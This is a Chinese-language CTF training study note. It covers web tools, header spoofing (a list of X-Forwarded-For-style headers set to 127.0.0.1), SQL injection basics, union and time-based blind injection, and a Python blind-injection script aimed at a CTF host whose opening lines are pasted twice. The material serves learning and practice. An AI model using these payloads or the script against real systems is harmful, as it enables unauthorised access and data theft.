Background

因为自己CTF也是野路子出家,然后就报了个这种培训过一遍知识点,一是和不同人学习会有不同思维的碰撞,二是可以养成良好的学习习惯

第一天:工具应用和安装

提到了几个CTFer常用的工具
chrome+hackbar+burpsuite+postman
chrome上面用很多好用的插件,比如我就使用了一个可以一键配置burp代理的,还有就是f12头抓包,可以直接抓到请求的包
hackbar的优点我觉得在发post包,http头比较方便,虽然burp也可以实现,但实际上肯定相对冗杂,还有就是上面有一些常用的payload和编码什么的
burpsuite:我主要使用repeater模块和intruder模块,repeater就像刚才提到的可以重放http请求,可以实现多种http请求方式
postman:赵总强烈推荐的,使用了一下,发现确实页面华丽,功能多样,甚至可以直接用这个post文件上传
然后给出了几道练习题
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20BRUTE%201
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20CODE%20REVIEW%201
https://buuoj.cn/login?next=%2Fchallenges%3F#BUU%20BURP%20COURSE%201
是对基础工具的应用,但其实涉及知识点蛮多的,应该在课程后续会提到,我没做出来第三道题目,他说只允许本地访问,我想到的就是X-Forwarded-For,但实际上,可以利用的伪造头的

x-forwarded-for: 127.0.0.1
x-remote-IP: 127.0.0.1
x-remote-ip: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1

有这么多

数据库基础和SQL注入

1.png
2.png
3.png
4.png
5.png
6.png
介绍了数据库基础的增删改查的语句
正常进行数据库的查询 id=1的时候
select username,password from users where id=1
id=1后面加上or 1=1
这时候where条件被or分割 1=1恒成立 所以就会列出来全部数据
那其实可以这样理解 SQL注入就是错误的把用户提交的数据,当成SQL语句来执行
SQL注入的正确防范方法
7.png
然后这里面介绍了sqlmap这一开源神器

数据库判别和手工注入基础

sqliteonline.com
有不同种数据库,在注入时候该如何判别
找异
联合查询时候的version函数
@@version
百度下常用的数据库版本函数特征
12.png
本质来说都是找不同,这里只是抛砖引玉
手工注入:无回显有回显
有回显步骤
order by 查字段数
union select的列数必须和字段数一致
information_schema 里面含有了库表信息
无回显步骤
使用延时注入
1.png
自己做题时候忘了用and...淦
使用脚本会减少工作量
7.png
脚本

import string
import requests


def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://3fe95c7d-0f7e-4e19-8031-29704036606a.das-node.wetolink.com:82/?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False


# 要执行的语句
# sql = "select group_concat(distinct flag) from test.flag "
sql = "select database()"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"

# 获取结果长度
import string
import requests


def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://3fe95c7d-0f7e-4e19-8031-29704036606a.das-node.wetolink.com:82/?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False


# 要执行的语句
# sql = "select group_concat(distinct flag) from test.flag "
sql = "select database()"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"

# 获取结果长度
length = 1
while True:
    if request(outer_len_sql.format(sql, length)):
        break
    length += 1
print("长度:{}".format(length))

result = ""
for i in range(1, length + 1):
    # 只测试可见字符
    for j in string.printable:
        if request(outer_sql.format(sql, i, j)):
            result += j
            print("结果:{}".format(result))
            break
print("结果:{}".format(result))